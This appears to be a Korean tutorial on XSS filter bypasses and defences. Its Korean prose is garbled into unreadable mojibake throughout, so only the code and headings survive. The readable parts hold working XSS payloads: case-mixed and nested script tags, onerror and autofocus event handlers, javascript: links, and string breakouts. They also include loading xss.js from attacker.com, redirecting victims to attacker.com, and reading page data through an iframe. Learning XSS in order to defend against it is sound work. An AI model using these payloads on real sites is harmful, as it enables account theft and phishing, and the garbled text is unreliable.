XSS Bypass Trick
XSS ์ฐํ ์ ๋ต์ ํตํ ๊ณต๊ฒฉ ์คํฌ๋ฆฝํธ ์ฝ์ ๋ฐฉ๋ฒ
Script Tag (๊ธธ์ด ์ ํ)
์ผ๋ฐ์ ์ผ๋ก ์ฝ์ ๋๋ ์คํฌ๋ฆฝํธ ๊ณต๊ฒฉ์ ์ด๋์ ๋ ๊ธธ์ด๊ฐ ์๊ฒ ๋๋ค. ๊ทธ๋์ ์ด๋ฅผ ๋ฐฉ์งํ๊ธฐ ์ํด script ํ๊ทธ์ ๋ํ์ฌ ์คํฌ๋ฆฝํธ ํ๊ทธ ๋ด๋ถ์ ๋ค์ด๊ฐ๋ ๊ธธ์ด ์ ํ์ ๋๋ ๊ฒฝ์ฐ๊ฐ ์๋ค.
$script = $_GET['script'];
$script = substr($script,0,40);
<script> alert(1); </script>
alert(1)๊ณผ ๊ฐ์ด ์งง์ ๊ฒ์ผ๋ก ํ ์คํธ ํด๋ณด๋ ๊ฒฝ์ฐ์๋ ์ฝ์ ์ด ๋์ง๋ง, ๊ธธ์ด๊ฐ ๊ธธ์ด์ง๋ ๊ฒฝ์ฐ์ ๊ธธ์ด ์ ํ์ ๊ฑธ๋ ค์ ์งค๋ฆฌ๋ ๊ฒฝ์ฐ๊ฐ ๋ฐ์ํ๋ค.
์ด๋ฐ ๊ฒฝ์ฐ์๋ ๊ธด ์คํฌ๋ฆฝํธ๋ฅผ ์ฝ์ ํ ์ ์๋ ๊ฒ์ผ๊น? ๊ทธ๋ ์ง ์๋ค.
<script src="http://attacker.com/xss.js"></script>
์์ ๊ฐ์ด xss.js ๋ผ๋ ์ฝ์ ์ ์ํ ์คํฌ๋ฆฝํธ๋ฅผ ๋ฐ๋ก ๋ง๋ค์ด๋๊ณ ํด๋น js ํ์ผ์ ์ ๊ทผํ๋๋ก ํ๋ฉด ๊ธด ์คํฌ๋ฆฝํธ๋ ์ถฉ๋ถํ ์ฝ์ ์ด ๊ฐ๋ฅํด์ง๋ค.
์ธ๋ถ์์ ๋ฆฌ์์ค๋ฅผ ๋ฐ์์์ ์ ์ฉ์ด ๊ฐ๋ฅํ๋ค๋ ๊ฒ์ ์ธ์งํด์ผํ๋ค.
ScRiPt Tag (Filtering)
๋ค์๊ณผ ๊ฐ์ด 'script' ๋ผ๋ ํน์ ๋จ์ด๋ฅผ ๋ง๊ณ ์๋ ๊ฒฝ์ฐ๊ฐ ์๋ค.
$script = $_GET['script'];
if ($script == 'script')
if (preg_match('/script/',$script))
์ด๋ฐ ๊ฒฝ์ฐ script ๋ผ๋ ๋จ์ด๋ง ๋ง๋ ๊ฒฝ์ฐ, ๋์๋ฌธ์๋ฅผ ํผ์ฉํจ์ผ๋ก์จ ์ฐํ ํ๋ ๊ฒ์ด ๊ฐ๋ฅํ ๊ฒฝ์ฐ๊ฐ ์๋ค. upper / lower ๋ฅผ ํตํด ๋ง์๋ ๊ฒฝ์ฐ์๋ ์ฌ์ฉ์ด ๋ถ๊ฐ๋ฅํ ์ ์๋ค.
<scRiPt> alert(1); </ScrIpt>
scrscriptipt Tag (replace)
๋ค์๊ณผ ๊ฐ์ด <script> ๊ฐ <> ์ ๊ฐ์ด script๋ผ๋ ๋จ์ด๊ฐ ์ฌ๋ผ์ง๊ฒ(๊ณต๋ฐฑ์ผ๋ก) ๋๋ ๊ฒฝ์ฐ๊ฐ ์๋ค.
$script = $_GET['script'];
str_replace('script','',$script,);
script ์ฌ์ด์ script๋ผ๋ ๋จ์ด๋ฅผ ๋ฃ์ด scrscriptipt ์ ๊ฐ์ ์์ผ๋ก ๋ง๋ค์ด์ค์ผ๋ก์จ script๋ง ๋จ๋๋กํ์ฌ ์ฐํ๊ฐ ๊ฐ๋ฅํ ๊ฒฝ์ฐ๋ ์๋ค.
<scrscriptipt> alert(1); </scrscriptipt>
script๋ฅผ ๋ง์ฝ xcript์ ๊ฐ์ด ๋ณํํด๋ฒ๋ฆฐ๋ค๋ฉด?!
$script = $_GET['script'];
$result = preg_replace("/script/","xcript",$script);
์ด๋ ๊ฒ ๋๋ฉด script ํ๊ทธ๋ ์ฌ์ฉํ ์ ์์ ๊ฒ์ด๋ค.
์ฌ๊ธฐ์ ์ฐ๋ฆฌ๋ javascript๋ script ํ๊ทธ๋ง์ ์ด์ฉํด์ผํ๋ ๊ฒ์ด ์๋๋ผ๋ ์ฌ์ค์ ์ธ์งํด์ผํ๋ค.
eventHandler
Event Handler๋ฅผ ํ์ฉํ๋ ๋ฐฉ๋ฒ์ด ์๋ค.
Event Handler๋ ํน์ ์ด๋ฒคํธ๊ฐ ๋ฐ์ํ์ ๋, ์ฝ๋๋ฅผ ์คํํ๋ค. (์ด๋ฒคํธ๊ฐ ๋ฐ์ ํ์ ๋ ์ด๋ฅผ ์ธ์งํ์ฌ ์ฒ๋ฆฌ)
1. event Handler๋ฅผ ์ค์ ํด๋๊ณ ์ ํ๋ HTML element์ ์์ฑ์ผ๋ก ๋ถ์ฌ
2. HTML element๋ฅผ JavaScript๋ก ๊ฐ์ ธ๊ฐ Event Listener๋ฅผ ์ถ๊ฐ
HTML tag์ ์์ฑ์ ๋ถ์ฌ
img ํ๊ทธ๋ฅผ ์ด์ฉํ๋ ๊ฒฝ์ฐ ์๋ชป๋ src๋ฅผ ๋ณด๋์ผ๋ก์ ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํ๋ค.
<img src=x onerror="alert(1)">
src์ ์์ฒญํ๋๋ฐ ์๋ฃ๊ฐ ์์ผ๋ฉด ์๋ฌ ์๋ฆผ์ ๋ณด๋ด๊ธฐ ๋๋ฌธ์ 404 Not Found ์๋ฌ๊ฐ ๋ฐ์ํ๊ฒ ๋๋ ๊ฒ์ ์ด์ฉํ๋ ๊ฒ์ด๋ค.
๋ค์๊ณผ ๊ฐ์ ๋ค์ํ ํธ๋ค๋ฌ๋ค์ ์ด์ฉํ ์ ์๋ค. (๊ทธ ์ข ๋ฅ๋ ๋งค์ฐ ๋ค์ํ๋ค.)
onerror, onload, onclick, onmouseover, onplay ...
Tag์ ๊ฒฝ์ฐ์๋ ๋ค์ํ๊ฒ ํ์ฉ์ด ๊ฐ๋ฅํ๋ค.
img, svg, div ๋ฑ ๋ค์ํ ํ๊ทธ๋ก ํ์ฉ ๊ฐ๋ฅ
JavaScript Code ์ด์ฉ
addEventListener ๋ฅผ ์ฌ์ฉํ๋ค.
addEventListener(event, code)
addEventListener๋ ์ฒ๋ฆฌํ ์ด๋ฒคํธ๋ฅผ ์ฒซ๋ฒ์งธ ์ธ์๋ก, ์ด๋ฒคํธ๊ฐ ๋ฐ์ํ์ ๋ ์คํํ๊ณ ์ ํ๋ ์ฝ๋๋ฅผ ๋๋ฒ์งธ ์ธ์ ๊ฐ์ผ๋ก ๋ฐ๋๋ค.
๊ทธ๋ฌ๋ฏ๋ก ์ํ๋ ์ด๋ฒคํธ, ์ฝ์ ํ ์ฝ๋๋ฅผ ์์ฑํ๋ ๋ฐฉ์์ผ๋ก ์ฌ์ฉํ ์ ์๋ค.
XSS in href
<a href="javascript:alert(1)">TEST</a>
์ต์ปค ํ๊ทธ a ์์ href ์ ์คํฌ๋ฆฝํธ๋ฅผ ์ฝ์ ํ ์ ์๋ค.
์ด๋ฅผ ์ด์ฉํ์ฌ ๋งํฌ ํด๋ฆญ์ ๋ฆฌ๋๋ ์ ์ ํตํด ์คํ๋๊ฒ ํ ์ ์๋ค.
์ฃผ์์ฐฝ์ javascript๋ฅผ ์ง์ ์ ๋ ฅํ๋ ๊ฒฝ์ฐ์๋ ์คํ์ด ๊ฐ๋ฅํ๋ค.
XSS in javascript
script Tag ๋ด์์ XSS๊ฐ ๋ฐ์ํ๋ ๊ฒฝ์ฐ์๋ " ์ ' ๋ฅผ ํ์ฉํ์ฌ ์คํฌ๋ฆฝํธ๋ฅผ ์ฝ์ ํ ์ ์๋ค.
์ด ๊ฒฝ์ฐ์๋ ๊บพ์ (angle bracket)๊ฐ ๋งํ ์์ด๋ ๊ฐ๋ฅํ๋ค.
์ ๋ ฅํ๋ ๊ฐ์ด script ํ๊ทธ ๋ด๋ถ์ ์๋ ๊ฒฝ์ฐ
<script> var data = "______"; </script>
์ ๋ ฅ์ ";alert(1);var a =" ์ ๊ฐ์ด ์ฝ์ ํ๋ ๋ฐฉ์์ ์ทจํ ์ ์๋ค.
<script> var data = ""; alert(1); var a = ""; </script>
๊ทธ ๊ฒฐ๊ณผ ์์ ๊ฐ์ด ์ฝ์ ์ด ๊ฐ๋ฅํด์ง๋ค.
๋ํ document.write() ํจ์๋ฅผ ์ด์ฉํ๋ ๋ฐฉ๋ฒ๋ ์๋ค.
document.write(' ');
XSS in input
input ํ๊ทธ ๋ด๋ถ์ ์ ๋ ฅ๊ฐ์ด ๋ค์ด๊ฐ๋ ๊ฒฝ์ฐ์๋ ๋ค์๊ณผ ๊ฐ์ด ํ์ฉํ ์ ์๋ค.
<input type="text" onmouseover="alert(1)" >
<input type="text" onfocus="alert(1)" > : ์ฌ์ฉ์๊ฐ ๋๋ฌ์ผํ๋ค.
<input type="text" autofocus onfocus="alert(1)" > : ๋ฐ๋ก focus ๋๋ค.
์ด์ ๊ฐ์ด ๋ค์ํ ์ฐํ ์ ๋ต์ด ์กด์ฌํ๋ค. javascript์ ๋ํด ์ถ๊ฐ์ ์ธ ๊ณต๋ถ๋ฅผ ํตํด ๋ ๋ค์ํ ์ฐํ ์ ๋ต์ ์ตํ ์ ์์ ๊ฒ์ด๋ค.
XSS ๋์ ๋ฐฉ์
ํํฐ๋ง(Filtering)
ํํฐ๋ง์ด๋ ์ฌ์ฉ์์ ์ ๋ ฅ์ ์ ํํ๋ ๊ฒ์ด๋ค.
์ฌ๋งํ ๊ณต๊ฒฉ์ ๋ํ ๋๋ต์ ํํฐ๋ง์ด๋ผ๊ณ ํ ์น๋ ์๊ฐ ์๋๋ฐ... ์ด๋ ๊ฒ ๋งํ๋ ๊ฒ์ ๊ณต๋ถ๋ฅผ ๋ํ ๊ฒ์ฒ๋ผ ๋ณด์ด๊ฒ ๋๋ ์ฃผ์ํด์ผํ๋ค. ํํฐ๋ง๊ณผ ๋น์ทํ๊ฒ ๋๋ ์ ์์ง๋ง ๋ค์ํ ๋ฐฉ์์ผ๋ก ๋์ํ๋ ๊ฒ์์ ์ดํดํด์ผํ๋ค.
BlackList
๋ธ๋ ๋ฆฌ์คํธ ๊ธฐ๋ฐ ํํฐ๋ง์ ํน์ ๋จ์ด๋ฅผ ๋ชป ๋ค์ด์ค๊ฒ ํ๋ ๊ฒ์ด๋ค. ๊ทธ๋ฌ๋ฏ๋ก ํํฐ๋ง ๋จ์ด์ ๋น ์ง๋ ๋ถ๋ถ์ด ์์ ์ ์๋ค. ๊ทธ๋์ ์ฐํ๊ฐ ๋ ๊ฐ๋ฅ์ฑ์ด ์กด์ฌํ๋ค. (ํํฐ๋ง์ผ๋ก ๋ฌด์กฐ๊ฑด ๋ค ๋ง์ ์ ์๋ค๋ ๊ฒ์ ์๋ชป๋ ์๊ฐ์ด๋ค. ์์ง ์ฐพ์ง ๋ชป ํ์๋ฟ ๋ฐฉ์์ด ์กด์ฌํ ๊ฐ๋ฅ์ฑ์ด ์๋ค๊ณ ๋ณด๋ ๊ฒ์ด ๋ง๋ค.)
๊ฒฐ๋ก ์ ์ผ๋ก ๋ธ๋๋ฆฌ์คํธ ๊ธฐ๋ฐ ํํฐ๋ง์๋ ํ๊ณ๊ฐ ์กด์ฌํ๋ค.
WhiteList
ํ์ดํธ ๋ฆฌ์คํธ ๊ธฐ๋ฐ ํํฐ๋ง์ ํน์ ๋จ์ด๋ง ๋ค์ด์ค๊ฒ ํ๋ ๊ฒ์ด๋ค.
HTML Entity ์นํ
< ' " > ์ ๊ฐ์ ํน์ ๋ฌธ์๋ค์ HTML Entity ํํ ๋ฐฉ์์ผ๋ก ์นํ(๋ณํ)ํ๋ค.
ํํฐ๋ง์ ํด๋น ๋ฌธ์๋ฅผ ๋ค๋ฅธ๊ฒ์ผ๋ก ๋ฐ๊พธ๋ ๊ฒ์ด๊ธฐ๋๋ฌธ์ ํํฐ๋ง๊ณผ๋ ๋ค๋ฅด๋ค.
์นํ! ์ด๋ผ๊ณ ํ๋ค.
'ํด๋น ๋ฌธ์๋ ์๋์ง๋ง ๋ณด์ฌ์ค๋๋ ํด๋น ๋ฌธ์๋ก ๋ณด์ฌ์ฃผ๊ฒ ๋ค.' ๋ผ๋ ์๋ฏธ์ด๋ค.
HTML Editor ๋์ ๋ฐฉ๋ฒ
๊ฒ์ํ ์ค HTML ํ๊ทธ๋ฅผ ํ์ฉํด์ฃผ๊ณ ์ถ์ ๊ฒฝ์ฐ์๋ ์ด๋ป๊ฒ ํด์ผํ ๊น?
HTML Editor๋ฅผ ์ฌ์ฉํ๋ ๊ฒฝ์ฐ Editor์ ์ญํ ์์ฒด๊ฐ ํ์ด๋ผ์ดํ ์ ํฌํจํ๊ธฐ ๋๋ฌธ์ HTML Entity๋ฅผ ๊ทธ๋ฅ ์ฌ์ฉํ๋ ๊ฒ์ ๋ถ๊ฐ๋ฅํ๋ค๋ ๊ฒ์ด ๋ฌธ์ ์ด๋ค.
์ฆ XSS์ ์ทจ์ฝํ ์ ๋ฐ์ ์๊ณ HTML Editor ์์ฒด๋ฅผ ์ฐ์ง ์๊ณ , ๊ธฐ๋ฅ์ ์ญ์ ํ๋ ๊ฒ์ ๊ถ์ฅํ๋ค.
ํ์ง๋ง ์ด๋ป๊ฒ๋ , ์ด์ฉ ์ ์์ด ์ฌ์ฉํด์ผํ๋ค๋ฉด ๋ค์๊ณผ ๊ฐ์ด 'HTML Editor ํน๋ณ ๋ฒ์ ' ๋์ ๋ฐฉ์์ด ์กด์ฌํ๋ค.
Step 1. ํ๋ผ๋ฏธํฐ๋ก ๋ฐ๋ ๋ฐ์ดํฐ์์ HTML ํน์ ๋ฌธ์๋ค์ ์ ๋ถ HTML Entity๋ก ์นํํ๋ค.
Step 2. ํ์ฉํด ์ค tag๋ค์ ์๋ณํด HTML ๋ฌธ์๋ค์ ๋ค์ HTML ํน์๋ฌธ์๋ก ๋ณต๊ตฌํ๋ค.
(ํ์ฉํด ์ค tag๋ค์ WhiteList ๊ธฐ๋ฐ ํํฐ๋ง์ ์ด์ฉํ์ฌ ํด๋น tag๋ง ๋ค์ ์ด๋ ค์ค๋ค๋ ๊ฒ์ด๋ค.)
Step 3. ๋ณต๊ตฌํ ํ๊ทธ ์ค ์ ์์ ์ธ eventHandler๊ฐ ์๋์ง BlackList ๊ธฐ๋ฐ์ผ๋ก ํํฐ๋งํ๋ค.
์์ ์ ์ฐจ๋ฅผ ๊ฑฐ์น๊ฒ ๋๋ค๋ฉด
<img src="http://attacker.com/bad.js">
์์ ๊ฐ์ด ๋์ด์๋ ์ฝ๋๊ฐ ์๋๋ผ๋ ์ ์์ ์ธ ์ด๋ฒคํธ ํธ๋ค๋ฌ๊ฐ ์๋ค๋ฉด ์คํ ์์ฒด๊ฐ ๋ถ๊ฐ๋ฅ ํ๊ธฐ ๋๋ฌธ์ ์๊ด์ด ์์ด์ง๋ค.
Client Script ํ์ฉ ๋ฐฉ์
(์ด๊ฒ๋ค์ ์๊ณ ์์ผ๋ฉด CSRF ํ ๋์ ์ข ๋ ํธ์ํ ์ ์๋ค.)
JavaScript๋ก ํ ์ ์๋ ์ฌ๋ฌ๊ฐ์ง์ ๋ํ์ฌ ์์๋ณผ ๊ฒ์ด๋ค.
Page Redirect
๊ณต๊ฒฉ์ ํ์ด์ง๋ก ์ด๋์ํค๋ ๋ฐฉ๋ฒ์ด๋ค.
๋ณ์๋ฅผ ์ด์ฉํ๋ ๋ฐฉ๋ฒ
location.href
<script>
location.href="https://www.attacker.com/";
์์ ๊ฐ์ด ๋ณ์๋ฅผ ์ด์ฉํ๋ ๊ฒฝ์ฐ '๋ค๋ก๊ฐ๊ธฐ' ๊ฐ ๊ฐ๋ฅํ๋ค.
ํจ์๋ฅผ ์ด์ฉํ๋ ๋ฐฉ๋ฒ
location.replace
location.replace("https://www.attacker.com/");
</script>
๋ฐ๋ฉด ์์ ๊ฐ์ด ํจ์๋ฅผ ์ด์ฉํ๋ ๋ฐฉ๋ฒ์ ๊ฒฝ์ฐ '๋ค๋ก๊ฐ๊ธฐ' ๊ฐ ๋ถ๊ฐ๋ฅํ๋ค.
์ฃผ์์ฐฝ ๋ณ์กฐ
๋๋ฉ์ธ์ ๋ฐ๊ฟ ์ ์์ง๋ง ๊ฒฝ๋ก๋ฅผ ๋ฐ๊ฟ์ค ์ ์๋ค.
<script>
history.pushState(null, null, login.php')
</script>
์์ ๊ฐ์ ๋ฐฉ๋ฒ์ผ๋ก ์ํ๋ ๊ฒฝ๋ก์ ์ด๋ฆ์ ๋ฐ๊ฟ์ฃผ๋ ๊ฒ์ด ๊ฐ๋ฅํ๋ค. ํด๋น ํ์ด์ง์ ์ฝ๋ ์ด๋ฆ์ ๊ฐ์ถ๊ณ ์ถ๊ฑฐ๋, ์ด๋ฆ์ด ๊ธธ์ด์ ธ์ ๋ณด๊ธฐ ์ซ์ ๊ฒฝ์ฐ์ ๋ฐ๊ฟ์ฃผ๋ ์ฉ๋๋ก ์ฌ์ฉ๋๋ค.
DOM ๊ฐ์ฒด์ ์ ๊ทผ
javascript ์์ html์ ์ ๊ทผํ๊ธฐ ์ํด์๋ document๋ผ๋ ๊ฐ์ฒด์ ์ ๊ทผํ์ฌ ์ฌ์ฉํ๋ค.
html ์ฝ๋๊ฐ ๋ค ๋์ค๊ฒ ๋๋ค.(์ ๊ทผ์ด ๊ฐ๋ฅํ๋ค.)
javascript๋ก ํน์ ๊ฐ์ฒด์ ์ ๊ทผํ๋ ๋ฐฉ๋ฒ
document ๊ฐ์ฒด
document ๊ฐ์ฒด์ get method๋ฅผ ์ด์ฉํ๋ค.
document.getElementBy ์์ฑ( )
HTML ์์ id์ ํด๋นํ๋ name์ ์ ์ผํ id๊ฐ ๋๋ค. ํ HTML ๋ด๋ถ์์ ๊ฐ์ ์ด๋ฆ์ id ํ๊ทธ๋ ์กด์ฌํ ์ ์๋ค๋ ๊ฒ์ด๋ค.
<html>
<h1 id="name" class="NameClass"></h1>
</html>
์์ ๊ฐ์ด id ๊ฐ name์ธ ๊ฒฝ์ฐ ์ ์ผํ ์ด๋ฆ์ด ๋๋ค๋ ๊ฒ์ด๋ค.
๊ทธ๋์ ์ด๋ฅผ ์ด์ฉํ์ฌ ์ฐ๋ฆฌ๋ ๋ค์๊ณผ ๊ฐ์ ๋ฐฉ์์ผ๋ก ์ ๊ทผ์ด ๊ฐ๋ฅํ๋ค.
ํน์ ๋ฐ์ดํฐ ์ ๊ทผ
document.getElementById('')
์ ์ผํ ์์ฑ์ผ๋ก ํ๋๋ง ๋์จ๋ค.
document.getElementsByClassName('')
์ ์ผํ ์์ฑ์ด ์๋๋ฏ๋ก ์ฌ๋ฌ ๊ฐ๊ฐ ๋์ฌ ์ ์๋ค.
์ด๋ค ์์ฑ์ ๊ธฐ๋ฐ์ผ๋ก ๋ถ๋ฌ์ฌ ๊ฒ์ธ์ง ์ ํ๊ณ document๋ก ์ฐพ์๋ณธ ํด๋น ์์ฑ์ ์ด๋ฆ์ ๋ถ๋ฌ์ค๋ฉด ๋๋ ๊ฒ์ด๋ค.
Element / Elements ์ ๊ฐ์ด 's'์ ์ฐจ์ด๊ฐ ๋๋ ์ด์ ๋ ์ ์ผํ ์์ฑ์ด๋ ์๋๋์ ๋ฐ๋ฅธ ๊ฒ์ด๋ค.
๊ฐ์ฒด์์ ์์ฑ ๊ฐ ์ ๊ทผ
ํ๊ทธ์ ์์ฑ๊ฐ์ ๋ฐ์์ค๋ ค๋ฉด ์ (.)์ ๋ถ์ด๋ฉด ๋๋ค.
. ๋ค์ ์์ฑ ๊ฐ์ ๋ถ์ฌ์ ์ ๊ทผํ๋ค.
.id - id ๋ฅผ ๊ฐ์ ธ์จ๋ค.
.className - class๋ฅผ ๊ฐ์ ธ์จ๋ค.
<script>
var targetTag = document.getElementsByClassName('ClassName');
targetTag.[์์ฑ ์ด๋ฆ]
</script>
๊ฐ์ฒด HTML ๋ฐ์ดํฐ ์ ๊ทผ
๋ด๋ถ์ ๊ธ์๋ฅผ ๊ฐ์ ธ์ค๋ ๋ฐฉ๋ฒ์ ๋ค์๊ณผ ๊ฐ๋ค.
.innerHTML
์คํฌ๋ฆฝํธ ์ฌ์ฉ์ ์ฃผ์์ฌํญ
script ๊ฐ ๋ก๋ ๋๋ ์์น
Page๊ฐ ๋ค ๋ก๋๋ ํ์ ์คํ๋์ด์ผ ํ๋ค.
(javascript์ ์คํ ์์ ์ ์๊ฐํด์ผ ํ๋ค๋ ๊ฒ์ด๋ค. ์ด๊ฒ์ ์ ๋๋ก ์ธ์งํ์ง ๋ชปํ๋ ๊ฒฝ์ฐ ์ ๋๋ก ๋ก๋๊ฐ ๋์ง ์์ ์ํ์์ ์งํ๋์ด ๊ณต๊ฒฉ์ ์คํจํ ์ ์๋ค.)
๋ฆฌ๋๋ ์
์คํฌ๋ฆฝํธ๋ ํด๋น ํ์ด์ง ์์์๋ง ์คํ๋๋ ๊ฒ์ด๋ค.
๋๋ฌธ์ ๋ฆฌ๋๋ ์ ๋๋ ๊ฒฝ์ฐ / ์ํค๋ ๊ฒฝ์ฐ์๋ ์คํฌ๋ฆฝํธ์ ํจ๋ ฅ์ด ์ฌ๋ผ์ง๊ฒ ๋๋ค.
๊ทธ๋ ๊ธฐ ๋๋ฌธ์ ์ฐ๋ฆฌ๋ ํ์ฌ ํ์ด์ง์์ ๋ค๋ฅธ ํ์ด์ง๋ฅผ ์ฝ์ ํ๋ ๋ฐฉ์์ ์ฌ์ฉํ๋ค.
<iframe>
iframe์ ์ง๊ธ ํ์ด์ง์์ ๋ค๋ฅธ ํ์ด์ง๋ฅผ ํ๋ ๋ ๋ฃ์ด์ค๋ค๋ ๊ฒ์ด๋ค.
<iframe src="http://~~~/mypage.php></iframe>
์์ ๊ฐ์ด ์ ๋ ฅํ๋ ๊ฒฝ์ฐ ํด๋น ์ฐฝ์ ์ด๊ณ ๊ทธ์์ document์์ ๋ถ๋ฌ์ค๊ฒ ๋๋ค.
๋ด๋ถ์ ํ๊ทธ id๋ฅผ ๋ถ์ฌ ๋ฃ์ด์ ์ด๋ฅผ ๋ถ๋ฌ์ค๋ ๋ฐฉ์์ผ๋ก ํ์ฉํ ์ ์๋ค.
<iframe src="http://~~~/mypage.php" id="targetFrame"></iframe>
<script> var targetTag = document.getElementById('targetFrame');
var DOMData = targetTag.contentDocument;
DOMData.getElementById('')
#(DOMData ๊ฐ document ๊ฐ์ฒด!)
</script>
์ฆ ์ํ๋ ๋นผ์ค๊ณ ์ถ์ ๋ฐ์ดํฐ๋ฅผ ํฌ์ฌ ์ทจ์ฝ์ ์ด ๋ฐ์ํ๋ ๊ณณ์์ ํ์ฉํ๊ฒ ๋๋ ๊ฒ์ด๋ค.
์ง๋ฌธ ํ์, ์์ ๋ฐ ๋ณด์์ ๋ํ ์ง์ ํ์